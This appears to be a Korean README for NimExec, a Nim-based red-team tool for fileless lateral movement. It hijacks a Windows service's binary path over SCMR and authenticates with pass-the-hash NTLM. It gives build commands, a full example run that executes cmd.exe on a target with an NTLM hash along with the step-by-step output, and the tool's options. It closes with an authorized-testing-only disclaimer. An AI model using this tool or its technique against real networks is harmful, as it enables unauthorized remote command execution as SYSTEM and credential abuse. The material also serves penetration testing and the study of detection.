
Nim에서 파일리스 명령 실행을 통한 측면 이동
기본적으로 NimExec는 SCMR(Service Control Manager Remote Protocol)을 사용하는 파일리스 원격 명령 실행 도구입니다. LocalSystem이 실행하는 무작위 또는 지정된 서비스의 바이너리 경로를 변경하여 대상에서 주어진 명령을 실행한 후, WinAPI 호출 대신 수제작된 RPC 패킷을 통해 나중에 복원합니다. 이러한 패킷은 SMB2와 svcctl 명명된 파이프를 통해 전송됩니다.
NimExec는 대상 머신에 인증하기 위해 NTLM 해시가 필요하며, 수제작된 패킷을 통해 NTLM 인증 방식으로 이 인증 과정을 완료합니다.
모든 필요한 네트워크 패킷이 수동으로 제작되고 운영 체제별 함수를 사용하지 않기 때문에, NimExec는 Nim의 교차 컴파일 지원을 통해 다양한 운영 체제에서 사용할 수 있습니다.
이 프로젝트는 Julio의 SharpNoPSExec 도구에서 영감을 받았습니다. NimExec는 SharpNoPSExec의 교차 컴파일 가능 및 Pass the Hash 내장 지원 버전이라고 생각하시면 됩니다. 또한, 필요한 네트워크 패킷 구조는 Kevin Robertson의 Invoke-SMBExec 스크립트에서 배웠습니다.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
위 명령은 다른 가비지 컬렉터를 사용합니다. 기본 가비지 컬렉터는 서비스 검색 과정에서 일부 SIGSEGV 오류를 발생시키기 때문입니다.
또한, 다음 명령을 통해 Nimble로 필요한 Nim 모듈을 설치할 수 있습니다:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .-------------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
Windows 10/11, Windows Server 16/19/22에서 Ubuntu 20.04 및 Windows 10 머신으로 테스트되었습니다.
-v | --verbose 더 자세한 출력을 활성화합니다.
-u | --username <사용자 이름> NTLM 인증을 위한 사용자 이름.*
-h | --hash <NTLM 해시> NTLM 인증을 위한 NTLM 비밀번호 해시.**
-p | --password <비밀번호> 평문 비밀번호.**
-t | --target <대상> 측면 이동 대상.*
-c | --command <명령> 실행할 명령.*
-d | --domain <도메인> NTLM 인증을 위한 도메인 이름.
-s | --service <서비스 이름> 무작위 대신 사용할 서비스 이름.
--help 도움말 메시지를 표시합니다.
승인된 보안 테스트 전용입니다. 명시적 허가 없이 시스템에 이 도구를 오용하는 것은 불법입니다.